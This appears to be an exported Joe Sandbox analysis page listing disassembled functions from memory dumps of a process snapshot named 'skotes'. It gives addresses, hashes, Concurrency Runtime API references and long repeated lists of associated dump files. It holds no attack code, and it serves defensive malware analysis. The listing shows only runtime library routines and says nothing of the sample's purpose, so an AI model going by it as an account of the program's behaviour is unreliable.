API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 59cb471a02568a8cacc6c9162015ce26f5c8665fb97ef6f542e75ed4347403c3
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 54817B71E102269FCB18CFA8C590AADB7F5FF48344B5582ADD445AB701CB70ED62CB84

Function 002BEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 002BEC81

Part of subcall function 002B8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 002B8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 002BECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 002BECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 002BED0C

Part of subcall function 002BE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 002BE7D7
Part of subcall function 002BE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 002BE86F
Part of subcall function 002BE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 002BE879
Part of subcall function 002BE7AF: Concurrency::location::_Assign.LIBCMT ref: 002BE8AD
Part of subcall function 002BE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 002BE8B5

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: ccfa51d3dac71a6fe6f63c1b648fdf9825ec4f1c3ea003d6e45ae53660560038
Instruction ID: c5730dc8af7dc39b8e4f02a6afa15ea19625083aedfa7a01a0d3d0b96a37abac
Opcode Fuzzy Hash: ccfa51d3dac71a6fe6f63c1b648fdf9825ec4f1c3ea003d6e45ae53660560038
Instruction Fuzzy Hash: 0B518031A20206DBCF14DF50C899BEDB779AF44350F164069E9066B392CBB0AE55CFA1

Function 002ACB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 002ACBAA

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 3d5f95f8fa3e54d4ba1e061be8d3be67a98efa0b6c395b75c90c5797a477c067
Instruction ID: 387ee422bfe23c93d9f6c3355042199064330b29d2930b0b18ea0df5cc3f50fc
Opcode Fuzzy Hash: 3d5f95f8fa3e54d4ba1e061be8d3be67a98efa0b6c395b75c90c5797a477c067
Instruction Fuzzy Hash: BDB09232A2383047CA512B14BC8C5AD77589B81B6130B0166DA01AB2248A515D828BE8

Function 002ADD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28ef3beb6c3e5240e3fed879ea72b6c4e9283ef6a124e38cd1acce0694154c86
Instruction ID: be97ebea16286f5c6e4056100801361e58c6f3a51a8e48d28a5be5bef7790613
Opcode Fuzzy Hash: 28ef3beb6c3e5240e3fed879ea72b6c4e9283ef6a124e38cd1acce0694154c86
Instruction Fuzzy Hash: 3951E1B2910616CFDB25CF58E8887BEB7F1FB59350F24846AC406EBA50D770A920CF50

Function 002AF028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 002AF2BB

Strings

pEvents, xrefs: 002AF2B3

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 4d3a0ce1db968aaf9182cc9b8bf0d42e9c4453b65849ba13eebe0791d78f8eda
Instruction ID: b7d3245c60573446c6e81ec7c213be47803cce6c0e319e7185f0439ccf71a96d
Opcode Fuzzy Hash: 4d3a0ce1db968aaf9182cc9b8bf0d42e9c4453b65849ba13eebe0791d78f8eda
Instruction Fuzzy Hash: E5819031D20219CFCF64DFE4CA81BAEB7B4AF16310F154469E805A7282DF78AD65CB90

Function 002C26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 002C26E3

Part of subcall function 002C24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 002C2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 002C2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 002C2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 002C275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 002C27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 002C27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 002C2846

Memory Dump Source

